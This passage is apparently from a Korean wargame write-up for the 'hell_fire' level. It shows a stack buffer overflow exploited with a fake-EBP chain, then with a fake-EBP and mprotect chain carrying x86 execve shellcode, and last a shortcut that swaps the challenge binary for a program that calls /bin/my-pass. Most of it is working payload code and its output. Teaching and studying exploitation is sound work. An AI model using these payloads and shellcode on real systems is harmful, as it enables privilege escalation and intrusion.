|  00000000 |
|  /bin/my-pass string |

  

```bash
[dark\_eyes@Fedora\_1stFloor ~]$ python -c 'print "b"\*268+"\x62\x85\x04\x08"\*22+"\x61\x85\x04\x08"+"\x70\xe1\xff\xf6"+"\x23\x57\x7a\x00"+"\x10\x10\xf8\xfe"+"\xb8\x85\x04\x08"+"\x80\xe1\xff\xf6"+"\x00\x00\x00\x00"+"\x2f\x62\x69\x6e\x2f\x6d\x79\x2d\x70\x61\x73\x73\x00"' | ./hell\_fire
hell\_fire : What's this smell?
you : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb(t▒▒bbbbbbbbbbbbbbbbbbbbbbap▒▒▒#Wz
euid = 502
because of you

```


  

```python
...
fakeEbp= b"b"\*268+ \
b"\x61\x85\x04\x08"+ \
b"b"\*88+ \
b"\x70\xe1\xff\xf6"+ \
b"\x23\x57\x7a\x00"+ \
b"\x10\x10\xf8\xfe"+ \
b"\xb8\x85\x04\x08"+ \
b"\x80\xe1\xff\xf6"+ \
b"\x00\x00\x00\x00"+ \
b"\x2f\x62\x69\x6e\x2f\x6d\x79\x2d\x70\x61\x73\x73\x00" + \
b"\n"
...
=========================
b"hell\_fire : What's this smell?\nyou : "
b'euid = 503\nsign me up\n'

```


  


  


### #4 fake ebp - mprotect

**쉘코드를 삽입하고 mprotect()로 리턴해서 삽입한 쉘코드 영역에 X권한을 주면 쉘코드를 실행할 수 있다.** 
mprotect는 prologue를 하지 않고, esp를 기준으로 파라미터를 가져오기 때문에 esp를 stdin 쪽으로 옮겨줘야 한다.
따라서 \#3에서 leave, ret -> execl로 리턴했던 것과 달리 leave, ret -> leave, ret -> mprotect로 리턴해야 한다.
첫 번째 leave를 실행하면서**ebp가 sfp** 에 지정한 위치(stdin)로 옮겨지게 되고
두 번째 leave를 실행하면서**esp가 sfp** 에 지정한 위치(stdin)로 옮겨지게 된다.
그래서 두 번째 leave 바로 다음에 위치한 ret instruction을 실행하면서 mprotect로 갈 수 있도록 mprotect Addr을**sfp** 에 지정한 위치(stdin)의 4byte 아래에 넣어주어야 한다.

|  |
| --- |
| ...

sfp
268byte |
|
|  leave (->ret) instruction Addr |
|  ~~~~~~~~~~~
88byte dummy

이 아래가 원래 ebp | | sfp (stdin) | | leave (-> ret) instruction Addr 여기서부터 esp가 stdin으로 옮겨짐 ————- 여기까지 다 더하면 368(0x170) byte | | 4byte sfp dummy | | mprotect Addr | | shellcode Addr | | memory page containing shellcode Addr area (aligned) | | shellcode len | | PROT_READ|PROT_WRITE|PROT_EXEC ( 7 ) | | shellcode |

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
...
leave\_ret = 0x8048561
mprotectAddr = 0x00714670
stdin = 0xf6ffe000
shellcode = b"\x31\xc0\x50" + \
b"\x68\x70\x61\x73\x73" + \
b"\x68\x2F\x6D\x79\x2D" + \
b"\x68\x2F\x62\x69\x6E" + \
b"\x89\xe3\x50\x53\x89" + \
b"\xe1\x89\xc2\xb0\x0b" + \
b"\xcd\x80"
fakeEbp\_shell =  b"b"\*268+ \
L(leave\_ret)+ \
b"b"\*88+ \
L(stdin+0x170)+ \
L(leave\_ret)+ \
b"\x10\x10\xf8\xfe"+ \
L(mprotectAddr)+ \
L(stdin+0x188)+ \
L(stdin)+ \
L(0x300) + \
L(0x07) + \
shellcode + \
b"\n"
...
=========================
b"hell\_fire : What's this smell?\nyou : "
b'euid = 503\nsign me up\n'

#5 그냥 문제 파일 바꿔치기하기

홈디렉토리에서는 rw권한 모두 있기 때문에 hell_fire 파일을 지우고 다음 파일을 컴파일해 hell_fire로 변경. xinetd 재시작 안해도 바로 반영된다.

1
2
3
4
5
6
7
8
9
10
11
int main(){
execl("/bin/my-pass", 0);
return 0;
}

  

========================
b'euid = 503\nsign me up\n'
b''

This post is licensed under CC BY 4.0 by the author.